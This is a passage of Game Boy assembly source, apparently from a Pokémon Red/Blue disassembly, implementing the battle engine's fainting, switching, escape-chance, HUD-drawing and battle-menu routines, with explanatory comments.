ld hl, wEnemyBideAccumulatedDamage ld [hli], a ld [hl], a ld [wBattleMonStatus], a call ReadPlayerMonCurHPAndStatus coord hl, 9, 7 lb bc, 5, 11 call ClearScreenArea coord hl, 1, 10 coord de, 1, 11 call SlideDownFaintedMonPic ld a, $1 ld [wBattleResult], a ; When the player mon and enemy mon faint at the same time and the fact that the ; enemy mon has fainted is detected first (e.g. when the player mon knocks out ; the enemy mon using a move with recoil and faints due to the recoil), don't ; play the player mon's cry or show the "[player mon] fainted!" message. ld a, [wInHandlePlayerMonFainted] and a ; was this called by HandleEnemyMonFainted? ret z ; if so, return ld a, [wBattleMonSpecies] call PlayCry ld hl, PlayerMonFaintedText jp PrintText PlayerMonFaintedText: TX_FAR _PlayerMonFaintedText db "@" ; asks if you want to use next mon ; stores whether you ran in C flag DoUseNextMonDialogue: call PrintEmptyString call SaveScreenTilesToBuffer1 ld a, [wIsInBattle] and a dec a ret nz ; return if it's a trainer battle ld hl, UseNextMonText call PrintText .displayYesNoBox coord hl, 13, 9 lb bc, 10, 14 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ld a, [wMenuExitMethod] cp CHOSE_SECOND_ITEM ; did the player choose NO? jr z, .tryRunning ; if the player chose NO, try running and a ; reset carry ret .tryRunning ld a, [wCurrentMenuItem] and a jr z, .displayYesNoBox ; xxx when does this happen? ld hl, wPartyMon1Speed ld de, wEnemyMonSpeed jp TryRunningFromBattle UseNextMonText: TX_FAR _UseNextMonText db "@" ; choose next player mon to send out ; stores whether enemy mon has no HP left in Z flag ChooseNextMon: ld a, BATTLE_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu .checkIfMonChosen jr nc, .monChosen .goBackToPartyMenu call GoBackToPartyMenu jr .checkIfMonChosen .monChosen call HasMonFainted jr z, .goBackToPartyMenu ; if mon fainted, you have to choose another ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .notLinkBattle inc a ld [wActionResultOrTookBattleTurn], a call LinkBattleExchangeData .notLinkBattle xor a ld [wActionResultOrTookBattleTurn], a call ClearSprites ld a, [wWhichPokemon] ld [wPlayerMonNumber], a ld c, a ld hl, wPartyGainExpFlags ld b, FLAG_SET push bc predef FlagActionPredef pop bc ld hl, wPartyFoughtCurrentEnemyFlags predef FlagActionPredef call LoadBattleMonFromParty call GBPalWhiteOut call LoadHudTilePatterns call LoadScreenTilesFromBuffer1 call RunDefaultPaletteCommand call GBPalNormal call SendOutMon ld hl, wEnemyMonHP ld a, [hli] or [hl] ret ; called when player is out of usable mons. ; prints appropriate lose message, sets carry flag if player blacked out (special case for initial rival fight) HandlePlayerBlackOut: ld a, [wLinkState] cp LINK_STATE_BATTLING jr z, .notSony1Battle ld a, [wCurOpponent] cp OPP_SONY1 jr nz, .notSony1Battle coord hl, 0, 0 ; sony 1 battle lb bc, 8, 21 call ClearScreenArea call ScrollTrainerPicAfterBattle ld c, 40 call DelayFrames ld hl, Sony1WinText call PrintText ld a, [wCurMap] cp OAKS_LAB ret z ; starter battle in oak's lab: don't black out .notSony1Battle ld b, SET_PAL_BATTLE_BLACK call RunPaletteCommand ld hl, PlayerBlackedOutText2 ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .noLinkBattle ld hl, LinkBattleLostText .noLinkBattle call PrintText ld a, [wd732] res 5, a ld [wd732], a call ClearScreen scf ret Sony1WinText: TX_FAR _Sony1WinText db "@" PlayerBlackedOutText2: TX_FAR _PlayerBlackedOutText2 db "@" LinkBattleLostText: TX_FAR _LinkBattleLostText db "@" ; slides pic of fainted mon downwards until it disappears ; bug: when this is called, [H_AUTOBGTRANSFERENABLED] is non-zero, so there is screen tearing SlideDownFaintedMonPic: ld a, [wd730] push af set 6, a ld [wd730], a ld b, 7 ; number of times to slide .slideStepLoop ; each iteration, the mon is slid down one row push bc push de push hl ld b, 6 ; number of rows .rowLoop push bc push hl push de ld bc, $7 call CopyData pop de pop hl ld bc, -SCREEN_WIDTH add hl, bc push hl ld h, d ld l, e add hl, bc ld d, h ld e, l pop hl pop bc dec b jr nz, .rowLoop ld bc, SCREEN_WIDTH add hl, bc ld de, SevenSpacesText call PlaceString ld c, 2 call DelayFrames pop hl pop de pop bc dec b jr nz, .slideStepLoop pop af ld [wd730], a ret SevenSpacesText: db " @" ; slides the player or enemy trainer off screen ; a is the number of tiles to slide it horizontally (always 9 for the player trainer or 8 for the enemy trainer) ; if a is 8, the slide is to the right, else it is to the left ; bug: when this is called, [H_AUTOBGTRANSFERENABLED] is non-zero, so there is screen tearing SlideTrainerPicOffScreen: ld [hSlideAmount], a ld c, a .slideStepLoop ; each iteration, the trainer pic is slid one tile left/right push bc push hl ld b, 7 ; number of rows .rowLoop push hl ld a, [hSlideAmount] ld c, a .columnLoop ld a, [hSlideAmount] cp 8 jr z, .slideRight .slideLeft ; slide player sprite off screen ld a, [hld] ld [hli], a inc hl jr .nextColumn .slideRight ; slide enemy trainer sprite off screen ld a, [hli] ld [hld], a dec hl .nextColumn dec c jr nz, .columnLoop pop hl ld de, 20 add hl, de dec b jr nz, .rowLoop ld c, 2 call DelayFrames pop hl pop bc dec c jr nz, .slideStepLoop ret ; send out a trainer's mon EnemySendOut: ld hl, wPartyGainExpFlags xor a ld [hl], a ld a, [wPlayerMonNumber] ld c, a ld b, FLAG_SET push bc predef FlagActionPredef ld hl, wPartyFoughtCurrentEnemyFlags xor a ld [hl], a pop bc predef FlagActionPredef ; don't change wPartyGainExpFlags or wPartyFoughtCurrentEnemyFlags EnemySendOutFirstMon: xor a ld hl, wEnemyStatsToDouble ; clear enemy statuses ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hl], a ld [wEnemyDisabledMove], a ld [wEnemyDisabledMoveNumber], a ld [wEnemyMonMinimized], a ld hl, wPlayerUsedMove ld [hli], a ld [hl], a dec a ld [wAICount], a ld hl, wPlayerBattleStatus1 res 5, [hl] coord hl, 18, 0 ld a, 8 call SlideTrainerPicOffScreen call PrintEmptyString call SaveScreenTilesToBuffer1 ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .next ld a, [wSerialExchangeNybbleReceiveData] sub 4 ld [wWhichPokemon], a jr .next3 .next ld b, $FF .next2 inc b ld a, [wEnemyMonPartyPos] cp b jr z, .next2 ld hl, wEnemyMon1 ld a, b ld [wWhichPokemon], a push bc ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes pop bc inc hl ld a, [hli] ld c, a ld a, [hl] or c jr z, .next2 .next3 ld a, [wWhichPokemon] ld hl, wEnemyMon1Level ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes ld a, [hl] ld [wCurEnemyLVL], a ld a, [wWhichPokemon] inc a ld hl, wEnemyPartyCount ld c, a ld b, 0 add hl, bc ld a, [hl] ld [wEnemyMonSpecies2], a ld [wcf91], a call LoadEnemyMonData ld hl, wEnemyMonHP ld a, [hli] ld [wLastSwitchInEnemyMonHP], a ld a, [hl] ld [wLastSwitchInEnemyMonHP + 1], a ld a, 1 ld [wCurrentMenuItem], a ld a, [wFirstMonsNotOutYet] dec a jr z, .next4 ld a, [wPartyCount] dec a jr z, .next4 ld a, [wLinkState] cp LINK_STATE_BATTLING jr z, .next4 ld a, [wOptions] bit 6, a jr nz, .next4 ld hl, TrainerAboutToUseText call PrintText coord hl, 0, 7 lb bc, 8, 1 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ld a, [wCurrentMenuItem] and a jr nz, .next4 ld a, BATTLE_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu .next9 ld a, 1 ld [wCurrentMenuItem], a jr c, .next7 ld hl, wPlayerMonNumber ld a, [wWhichPokemon] cp [hl] jr nz, .next6 ld hl, AlreadyOutText call PrintText .next8 call GoBackToPartyMenu jr .next9 .next6 call HasMonFainted jr z, .next8 xor a ld [wCurrentMenuItem], a .next7 call GBPalWhiteOut call LoadHudTilePatterns call LoadScreenTilesFromBuffer1 .next4 call ClearSprites coord hl, 0, 0 lb bc, 4, 11 call ClearScreenArea ld b, SET_PAL_BATTLE call RunPaletteCommand call GBPalNormal ld hl, TrainerSentOutText call PrintText ld a, [wEnemyMonSpecies2] ld [wcf91], a ld [wd0b5], a call GetMonHeader ld de, vFrontPic call LoadMonFrontSprite ld a, -$31 ld [hStartTileID], a coord hl, 15, 6 predef AnimateSendingOutMon ld a, [wEnemyMonSpecies2] call PlayCry call DrawEnemyHUDAndHPBar ld a, [wCurrentMenuItem] and a ret nz xor a ld [wPartyGainExpFlags], a ld [wPartyFoughtCurrentEnemyFlags], a call SaveScreenTilesToBuffer1 jp SwitchPlayerMon TrainerAboutToUseText: TX_FAR _TrainerAboutToUseText db "@" TrainerSentOutText: TX_FAR _TrainerSentOutText db "@" ; tests if the player has any pokemon that are not fainted ; sets d = 0 if all fainted, d != 0 if some mons are still alive AnyPartyAlive: ld a, [wPartyCount] ld e, a xor a ld hl, wPartyMon1HP ld bc, wPartyMon2 - wPartyMon1 - 1 .partyMonsLoop or [hl] inc hl or [hl] add hl, bc dec e jr nz, .partyMonsLoop ld d, a ret ; tests if player mon has fainted ; stores whether mon has fainted in Z flag HasMonFainted: ld a, [wWhichPokemon] ld hl, wPartyMon1HP ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld a, [hli] or [hl] ret nz ld a, [wFirstMonsNotOutYet] and a jr nz, .done ld hl, NoWillText call PrintText .done xor a ret NoWillText: TX_FAR _NoWillText db "@" ; try to run from battle (hl = player speed, de = enemy speed) ; stores whether the attempt was successful in carry flag TryRunningFromBattle: call IsGhostBattle jp z, .canEscape ; jump if it's a ghost battle ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jp z, .canEscape ; jump if it's a safari battle ld a, [wLinkState] cp LINK_STATE_BATTLING jp z, .canEscape ld a, [wIsInBattle] dec a jr nz, .trainerBattle ; jump if it's a trainer battle ld a, [wNumRunAttempts] inc a ld [wNumRunAttempts], a ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a ld a, [de] ld [hEnemySpeed], a inc de ld a, [de] ld [hEnemySpeed + 1], a call LoadScreenTilesFromBuffer1 ld de, H_MULTIPLICAND + 1 ld hl, hEnemySpeed ld c, 2 call StringCmp jr nc, .canEscape ; jump if player speed greater than enemy speed xor a ld [H_MULTIPLICAND], a ld a, 32 ld [H_MULTIPLIER], a call Multiply ; multiply player speed by 32 ld a, [H_PRODUCT + 2] ld [H_DIVIDEND], a ld a, [H_PRODUCT + 3] ld [H_DIVIDEND + 1], a ld a, [hEnemySpeed] ld b, a ld a, [hEnemySpeed + 1] ; divide enemy speed by 4 srl b rr a srl b rr a and a jr z, .canEscape ; jump if enemy speed divided by 4, mod 256 is 0 ld [H_DIVISOR], a ; ((enemy speed / 4) % 256) ld b, $2 call Divide ; divide (player speed * 32) by ((enemy speed / 4) % 256) ld a, [H_QUOTIENT + 2] and a ; is the quotient greater than 256? jr nz, .canEscape ; if so, the player can escape ld a, [wNumRunAttempts] ld c, a ; add 30 to the quotient for each run attempt .loop dec c jr z, .compareWithRandomValue ld b, 30 ld a, [H_QUOTIENT + 3] add b ld [H_QUOTIENT + 3], a jr c, .canEscape jr .loop .compareWithRandomValue call BattleRandom ld b, a ld a, [H_QUOTIENT + 3] cp b jr nc, .canEscape ; if the random value was less than or equal to the quotient ; plus 30 times the number of attempts, the player can escape ; can't escape ld a, $1 ld [wActionResultOrTookBattleTurn], a ; you lose your turn when you can't escape ld hl, CantEscapeText jr .printCantEscapeOrNoRunningText .trainerBattle ld hl, NoRunningText .printCantEscapeOrNoRunningText call PrintText ld a, 1 ld [wForcePlayerToChooseMon], a call SaveScreenTilesToBuffer1 and a ; reset carry ret .canEscape ld a, [wLinkState] cp LINK_STATE_BATTLING ld a, $2 jr nz, .playSound ; link battle call SaveScreenTilesToBuffer1 xor a ld [wActionResultOrTookBattleTurn], a ld a, LINKBATTLE_RUN ld [wPlayerMoveListIndex], a call LinkBattleExchangeData call LoadScreenTilesFromBuffer1 ld a, [wSerialExchangeNybbleReceiveData] cp LINKBATTLE_RUN ld a, $2 jr z, .playSound dec a .playSound ld [wBattleResult], a ld a, SFX_RUN call PlaySoundWaitForCurrent ld hl, GotAwayText call PrintText call WaitForSoundToFinish call SaveScreenTilesToBuffer1 scf ; set carry ret CantEscapeText: TX_FAR _CantEscapeText db "@" NoRunningText: TX_FAR _NoRunningText db "@" GotAwayText: TX_FAR _GotAwayText db "@" ; copies from party data to battle mon data when sending out a new player mon LoadBattleMonFromParty: ld a, [wWhichPokemon] ld bc, wPartyMon2 - wPartyMon1 ld hl, wPartyMon1Species call AddNTimes ld de, wBattleMonSpecies ld bc, wBattleMonDVs - wBattleMonSpecies call CopyData ld bc, wPartyMon1DVs - wPartyMon1OTID add hl, bc ld de, wBattleMonDVs ld bc, NUM_DVS call CopyData ld de, wBattleMonPP ld bc, NUM_MOVES call CopyData ld de, wBattleMonLevel ld bc, wBattleMonPP - wBattleMonLevel call CopyData ld a, [wBattleMonSpecies2] ld [wd0b5], a call GetMonHeader ld hl, wPartyMonNicks ld a, [wPlayerMonNumber] call SkipFixedLengthTextEntries ld de, wBattleMonNick ld bc, NAME_LENGTH call CopyData ld hl, wBattleMonLevel ld de, wPlayerMonUnmodifiedLevel ; block of memory used for unmodified stats ld bc, 1 + NUM_STATS * 2 call CopyData call ApplyBurnAndParalysisPenaltiesToPlayer call ApplyBadgeStatBoosts ld a, $7 ; default stat modifier ld b, NUM_STAT_MODS ld hl, wPlayerMonAttackMod .statModLoop ld [hli], a dec b jr nz, .statModLoop ret ; copies from enemy party data to current enemy mon data when sending out a new enemy mon LoadEnemyMonFromParty: ld a, [wWhichPokemon] ld bc, wEnemyMon2 - wEnemyMon1 ld hl, wEnemyMons call AddNTimes ld de, wEnemyMonSpecies ld bc, wEnemyMonDVs - wEnemyMonSpecies call CopyData ld bc, wEnemyMon1DVs - wEnemyMon1OTID add hl, bc ld de, wEnemyMonDVs ld bc, NUM_DVS call CopyData ld de, wEnemyMonPP ld bc, NUM_MOVES call CopyData ld de, wEnemyMonLevel ld bc, wEnemyMonPP - wEnemyMonLevel call CopyData ld a, [wEnemyMonSpecies] ld [wd0b5], a call GetMonHeader ld hl, wEnemyMonNicks ld a, [wWhichPokemon] call SkipFixedLengthTextEntries ld de, wEnemyMonNick ld bc, NAME_LENGTH call CopyData ld hl, wEnemyMonLevel ld de, wEnemyMonUnmodifiedLevel ; block of memory used for unmodified stats ld bc, 1 + NUM_STATS * 2 call CopyData call ApplyBurnAndParalysisPenaltiesToEnemy ld hl, wMonHBaseStats ld de, wEnemyMonBaseStats ld b, NUM_STATS .copyBaseStatsLoop ld a, [hli] ld [de], a inc de dec b jr nz, .copyBaseStatsLoop ld a, $7 ; default stat modifier ld b, NUM_STAT_MODS ld hl, wEnemyMonStatMods .statModLoop ld [hli], a dec b jr nz, .statModLoop ld a, [wWhichPokemon] ld [wEnemyMonPartyPos], a ret SendOutMon: callab PrintSendOutMonMessage ld hl, wEnemyMonHP ld a, [hli] or [hl] ; is enemy mon HP zero? jp z, .skipDrawingEnemyHUDAndHPBar; if HP is zero, skip drawing the HUD and HP bar call DrawEnemyHUDAndHPBar .skipDrawingEnemyHUDAndHPBar call DrawPlayerHUDAndHPBar predef LoadMonBackPic xor a ld [hStartTileID], a ld hl, wBattleAndStartSavedMenuItem ld [hli], a ld [hl], a ld [wBoostExpByExpAll], a ld [wDamageMultipliers], a ld [wPlayerMoveNum], a ld hl, wPlayerUsedMove ld [hli], a ld [hl], a ld hl, wPlayerStatsToDouble ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hl], a ld [wPlayerDisabledMove], a ld [wPlayerDisabledMoveNumber], a ld [wPlayerMonMinimized], a ld b, SET_PAL_BATTLE call RunPaletteCommand ld hl, wEnemyBattleStatus1 res USING_TRAPPING_MOVE, [hl] ld a, $1 ld [H_WHOSETURN], a ld a, POOF_ANIM call PlayMoveAnimation coord hl, 4, 11 predef AnimateSendingOutMon ld a, [wcf91] call PlayCry call PrintEmptyString jp SaveScreenTilesToBuffer1 ; show 2 stages of the player mon getting smaller before disappearing AnimateRetreatingPlayerMon: coord hl, 1, 5 lb bc, 7, 7 call ClearScreenArea coord hl, 3, 7 lb bc, 5, 5 xor a ld [wDownscaledMonSize], a ld [hBaseTileID], a predef CopyDownscaledMonTiles ld c, 4 call DelayFrames call .clearScreenArea coord hl, 4, 9 lb bc, 3, 3 ld a, 1 ld [wDownscaledMonSize], a xor a ld [hBaseTileID], a predef CopyDownscaledMonTiles call Delay3 call .clearScreenArea ld a, $4c Coorda 5, 11 .clearScreenArea coord hl, 1, 5 lb bc, 7, 7 jp ClearScreenArea ; reads player's current mon's HP into wBattleMonHP ReadPlayerMonCurHPAndStatus: ld a, [wPlayerMonNumber] ld hl, wPartyMon1HP ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld d, h ld e, l ld hl, wBattleMonHP ld bc, $4 ; 2 bytes HP, 1 byte unknown (unused?), 1 byte status jp CopyData DrawHUDsAndHPBars: call DrawPlayerHUDAndHPBar jp DrawEnemyHUDAndHPBar DrawPlayerHUDAndHPBar: xor a ld [H_AUTOBGTRANSFERENABLED], a coord hl, 9, 7 lb bc, 5, 11 call ClearScreenArea callab PlacePlayerHUDTiles coord hl, 18, 9 ld [hl], $73 ld de, wBattleMonNick coord hl, 10, 7 call CenterMonName call PlaceString ld hl, wBattleMonSpecies ld de, wLoadedMon ld bc, wBattleMonDVs - wBattleMonSpecies call CopyData ld hl, wBattleMonLevel ld de, wLoadedMonLevel ld bc, wBattleMonPP - wBattleMonLevel call CopyData coord hl, 14, 8 push hl inc hl ld de, wLoadedMonStatus call PrintStatusConditionNotFainted pop hl jr nz, .doNotPrintLevel call PrintLevel .doNotPrintLevel ld a, [wLoadedMonSpecies] ld [wcf91], a coord hl, 10, 9 predef DrawHP ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a ld hl, wPlayerHPBarColor call GetBattleHealthBarColor ld hl, wBattleMonHP ld a, [hli] or [hl] jr z, .fainted ld a, [wLowHealthAlarmDisabled] and a ; has the alarm been disabled because the player has already won? ret nz ; if so, return ld a, [wPlayerHPBarColor] cp HP_BAR_RED jr z, .setLowHealthAlarm .fainted ld hl, wLowHealthAlarm bit 7, [hl] ;low health alarm enabled? ld [hl], $0 ret z xor a ld [wChannelSoundIDs + Ch4], a ret .setLowHealthAlarm ld hl, wLowHealthAlarm set 7, [hl] ;enable low health alarm ret DrawEnemyHUDAndHPBar: xor a ld [H_AUTOBGTRANSFERENABLED], a coord hl, 0, 0 lb bc, 4, 12 call ClearScreenArea callab PlaceEnemyHUDTiles ld de, wEnemyMonNick coord hl, 1, 0 call CenterMonName call PlaceString coord hl, 4, 1 push hl inc hl ld de, wEnemyMonStatus call PrintStatusConditionNotFainted pop hl jr nz, .skipPrintLevel ; if the mon has a status condition, skip printing the level ld a, [wEnemyMonLevel] ld [wLoadedMonLevel], a call PrintLevel .skipPrintLevel ld hl, wEnemyMonHP ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hld] ld [H_MULTIPLICAND + 2], a or [hl] ; is current HP zero? jr nz, .hpNonzero ; current HP is 0 ; set variables for DrawHPBar ld c, a ld e, a ld d, $6 jp .drawHPBar .hpNonzero xor a ld [H_MULTIPLICAND], a ld a, 48 ld [H_MULTIPLIER], a call Multiply ; multiply current HP by 48 ld hl, wEnemyMonMaxHP ld a, [hli] ld b, a ld a, [hl] ld [H_DIVISOR], a ld a, b and a ; is max HP > 255? jr z, .doDivide ; if max HP > 255, scale both (current HP * 48) and max HP by dividing by 4 so that max HP fits in one byte ; (it needs to be one byte so it can be used as the divisor for the Divide function) ld a, [H_DIVISOR] srl b rr a srl b rr a ld [H_DIVISOR], a ld a, [H_PRODUCT + 2] ld b, a srl b ld a, [H_PRODUCT + 3] rr a srl b rr a ld [H_PRODUCT + 3], a ld a, b ld [H_PRODUCT + 2], a .doDivide ld a, [H_PRODUCT + 2] ld [H_DIVIDEND], a ld a, [H_PRODUCT + 3] ld [H_DIVIDEND + 1], a ld a, $2 ld b, a call Divide ; divide (current HP * 48) by max HP ld a, [H_QUOTIENT + 3] ; set variables for DrawHPBar ld e, a ld a, $6 ld d, a ld c, a .drawHPBar xor a ld [wHPBarType], a coord hl, 2, 2 call DrawHPBar ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a ld hl, wEnemyHPBarColor GetBattleHealthBarColor: ld b, [hl] call GetHealthBarColor ld a, [hl] cp b ret z ld b, SET_PAL_BATTLE jp RunPaletteCommand ; center's mon's name on the battle screen ; if the name is 1 or 2 letters long, it is printed 2 spaces more to the right than usual ; (i.e. for names longer than 4 letters) ; if the name is 3 or 4 letters long, it is printed 1 space more to the right than usual ; (i.e. for names longer than 4 letters) CenterMonName: push de inc hl inc hl ld b, $2 .loop inc de ld a, [de] cp "@" jr z, .done inc de ld a, [de] cp "@" jr z, .done dec hl dec b jr nz, .loop .done pop de ret DisplayBattleMenu: call LoadScreenTilesFromBuffer1 ; restore saved screen ld a, [wBattleType] and a jr nz, .nonstandardbattle call DrawHUDsAndHPBars call PrintEmptyString call SaveScreenTilesToBuffer1 .nonstandardbattle ld a, [wBattleType] cp BATTLE_TYPE_SAFARI ld a, BATTLE_MENU_TEMPLATE jr nz, .menuselected ld a, SAFARI_BATTLE_MENU_TEMPLATE .menuselected ld [wTextBoxID], a call DisplayTextBoxID ld a, [wBattleType] dec a jp nz, .handleBattleMenuInput ; handle menu input if it's not the old man tutorial ; the following happens for the old man tutorial ld hl, wPlayerName ld de, wGrassRate ld bc, NAME_LENGTH call CopyData ; temporarily save the player name in unused space, ; which is supposed to get overwritten when entering a ; map with wild PokΓ©mon. Due to an oversight, the data ; may not get overwritten (cinnabar) and the infamous ; Missingno. glitch can show up. ld hl, .oldManName ld de, wPlayerName ld bc, NAME_LENGTH call CopyData ; the following simulates the keystrokes by drawing menus on screen coord hl, 9, 14 ld [hl], "β–Ά" ld c, 80 call DelayFrames ld [hl], " " coord hl, 9, 16 ld [hl], "β–Ά" ld c, 50 call DelayFrames ld [hl], "β–·" ld a, $2 ; select the "ITEM" menu jp .upperLeftMenuItemWasNotSelected .oldManName db "OLD MAN@" .handleBattleMenuInput ld a, [wBattleAndStartSavedMenuItem] ld [wCurrentMenuItem], a ld [wLastMenuItem], a sub 2 ; check if the cursor is in the left column jr c, .leftColumn ; cursor is in the right column ld [wCurrentMenuItem], a ld [wLastMenuItem], a jr .rightColumn .leftColumn ; put cursor in left column of menu ld a, [wBattleType] cp BATTLE_TYPE_SAFARI ld a, " " jr z, .safariLeftColumn ; put cursor in left column for normal battle menu (i.e. when it's not a Safari battle) Coorda 15, 14 ; clear upper cursor position in right column Coorda 15, 16 ; clear lower cursor position in right column ld b, $9 ; top menu item X jr .leftColumn_WaitForInput .safariLeftColumn Coorda 13, 14 Coorda 13, 16 coord hl, 7, 14 ld de, wNumSafariBalls lb bc, 1, 2 call PrintNumber ld b, $1 ; top menu item X .leftColumn_WaitForInput ld hl, wTopMenuItemY ld a, $e ld [hli], a ; wTopMenuItemY ld a, b ld [hli], a ; wTopMenuItemX inc hl inc hl ld a, $1 ld [hli], a ; wMaxMenuItem ld [hl], D_RIGHT | A_BUTTON ; wMenuWatchedKeys call HandleMenuInput bit 4, a ; check if right was pressed jr nz, .rightColumn jr .AButtonPressed ; the A button was pressed .rightColumn ; put cursor in right column of menu ld a, [wBattleType] cp BATTLE_TYPE_SAFARI ld a, " " jr z, .safariRightColumn ; put cursor in right column for normal battle menu (i.e. when it's not a Safari battle) Coorda 9, 14 ; clear upper cursor position in left column Coorda 9, 16 ; clear lower cursor position in left column ld b, $f ; top menu item X jr .rightColumn_WaitForInput .safariRightColumn Coorda 1, 14 ; clear upper cursor position in left column Coorda 1, 16 ; clear lower cursor position in left column coord hl, 7, 14 ld de, wNumSafariBalls lb bc, 1, 2 call PrintNumber ld b, $d ; top menu item X .rightColumn_WaitForInput ld hl, wTopMenuItemY ld a, $e ld [hli], a ; wTopMenuItemY ld a, b ld [hli], a ; wTopMenuItemX inc hl inc hl ld a, $1 ld [hli], a ; wMaxMenuItem ld a, D_LEFT | A_BUTTON ld [hli], a ; wMenuWatchedKeys call HandleMenuInput bit 5, a ; check if left was pressed jr nz, .leftColumn ; if left was pressed, jump ld a, [wCurrentMenuItem] add $2 ; if we're in the right column, the actual id is +2 ld [wCurrentMenuItem], a .AButtonPressed call PlaceUnfilledArrowMenuCursor ld a, [wBattleType] cp BATTLE_TYPE_SAFARI ld a, [wCurrentMenuItem] ld [wBattleAndStartSavedMenuItem], a jr z, .handleMenuSelection ; not Safari battle ; swap the IDs of the item menu and party menu (this is probably because they swapped the positions ; of these menu items in first generation English versions) cp $1 ; was the item menu selected? jr nz, .notItemMenu ; item menu was selected inc a ; increment a to 2 jr .handleMenuSelection .notItemMenu cp $2 ; was the party menu selected? jr nz, .handleMenuSelection ; party menu selected dec a ; decrement a to 1 .handleMenuSelection and a jr nz, .upperLeftMenuItemWasNotSelected ; the upper left menu item was selected ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr z, .throwSafariBallWasSelected ; the "FIGHT" menu was selected xor a ld [wNumRunAttempts], a jp LoadScreenTilesFromBuffer1 ; restore saved screen and return .throwSafariBallWasSelected ld a, SAFARI_BALL ld [wcf91], a jr UseBagItem .upperLeftMenuItemWasNotSelected ; a menu item other than the upper left item was selected cp $2 jp nz, PartyMenuOrRockOrRun ; either the bag (normal battle) or bait (safari battle) was selected ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .notLinkBattle ; can't use items in link battles ld hl, ItemsCantBeUsedHereText call PrintText jp DisplayBattleMenu .notLinkBattle call SaveScreenTilesToBuffer2 ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr nz, BagWasSelected ; bait was selected ld a, SAFARI_BAIT ld [wcf91], a jr UseBagItem BagWasSelected: call LoadScreenTilesFromBuffer1 ld a, [wBattleType] and a ; is it a normal battle? jr nz, .next ; normal battle call DrawHUDsAndHPBars .next ld a, [wBattleType] dec a ; is it the old man tutorial? jr nz, DisplayPlayerBag ; no, it is a normal battle ld hl, OldManItemList ld a, l ld [wListPointer], a ld a, h ld [wListPointer + 1], a jr DisplayBagMenu OldManItemList: db 1 ; # items db POKE_BALL, 50 db -1 DisplayPlayerBag: ; get the pointer to player's bag when in a normal battle ld hl, wNumBagItems ld a, l ld [wListPointer], a ld a, h ld [wListPointer + 1], a DisplayBagMenu: xor a ld [wPrintItemPrices], a ld a, ITEMLISTMENU ld [wListMenuID], a ld a, [wBagSavedMenuItem] ld [wCurrentMenuItem], a call DisplayListMenuID ld a, [wCurrentMenuItem] ld [wBagSavedMenuItem], a ld a, $0 ld [wMenuWatchMovingOutOfBounds], a ld [wMenuItemToSwap], a jp c, DisplayBattleMenu ; go back to battle menu if an item was not selected UseBagItem: ; either use an item from the bag or use a safari zone item ld a, [wcf91] ld [wd11e], a call GetItemName call CopyStringToCF4B ; copy name xor a ld [wPseudoItemID], a call UseItem call LoadHudTilePatterns call ClearSprites xor a ld [wCurrentMenuItem], a ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr z, .checkIfMonCaptured ld a, [wActionResultOrTookBattleTurn] and a ; was the item used successfully? jp z, BagWasSelected ; if not, go back to the bag menu ld a, [wPlayerBattleStatus1] bit USING_TRAPPING_MOVE, a ; is the player using a multi-turn move like wrap? jr z, .checkIfMonCaptured ld hl, wPlayerNumAttacksLeft dec [hl] jr nz, .checkIfMonCaptured ld hl, wPlayerBattleStatus1 res USING_TRAPPING_MOVE, [hl] ; not using multi-turn move any more .checkIfMonCaptured ld a, [wCapturedMonSpecies] and a ; was the enemy mon captured with a ball? jr nz, .returnAfterCapturingMon ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr z, .returnAfterUsingItem_NoCapture ; not a safari battle call LoadScreenTilesFromBuffer1 call DrawHUDsAndHPBars call Delay3 .returnAfterUsingItem_NoCapture call GBPalNormal and a ; reset carry ret .returnAfterCapturingMon call GBPalNormal xor a ld [wCapturedMonSpecies], a ld a, $2 ld [wBattleResult], a scf ; set carry ret ItemsCantBeUsedHereText: TX_FAR _ItemsCantBeUsedHereText db "@" PartyMenuOrRockOrRun: dec a ; was Run selected? jp nz, BattleMenu_RunWasSelected ; party menu or rock was selected call SaveScreenTilesToBuffer2 ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr nz, .partyMenuWasSelected ; safari battle ld a, SAFARI_ROCK ld [wcf91], a jp UseBagItem .partyMenuWasSelected call LoadScreenTilesFromBuffer1 xor a ; NORMAL_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a ld [wMenuItemToSwap], a call DisplayPartyMenu .checkIfPartyMonWasSelected jp nc, .partyMonWasSelected ; if a party mon was selected, jump, else we quit the party menu .quitPartyMenu call ClearSprites call GBPalWhiteOut call LoadHudTilePatterns call LoadScreenTilesFromBuffer2 call RunDefaultPaletteCommand call GBPalNormal jp DisplayBattleMenu .partyMonDeselected coord hl, 11, 11 ld bc, 6 * SCREEN_WIDTH + 9 ld a, " " call FillMemory xor a ; NORMAL_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call GoBackToPartyMenu jr .checkIfPartyMonWasSelected .partyMonWasSelected ld a, SWITCH_STATS_CANCEL_MENU_TEMPLATE ld [wTextBoxID], a call DisplayTextBoxID ld hl, wTopMenuItemY ld a, $c ld [hli], a ; wTopMenuItemY ld [hli], a ; wTopMenuItemX xor a ld [hli], a ; wCurrentMenuItem inc hl ld a, $2 ld [hli], a ; wMaxMenuItem ld a, B_BUTTON | A_BUTTON ld [hli], a ; 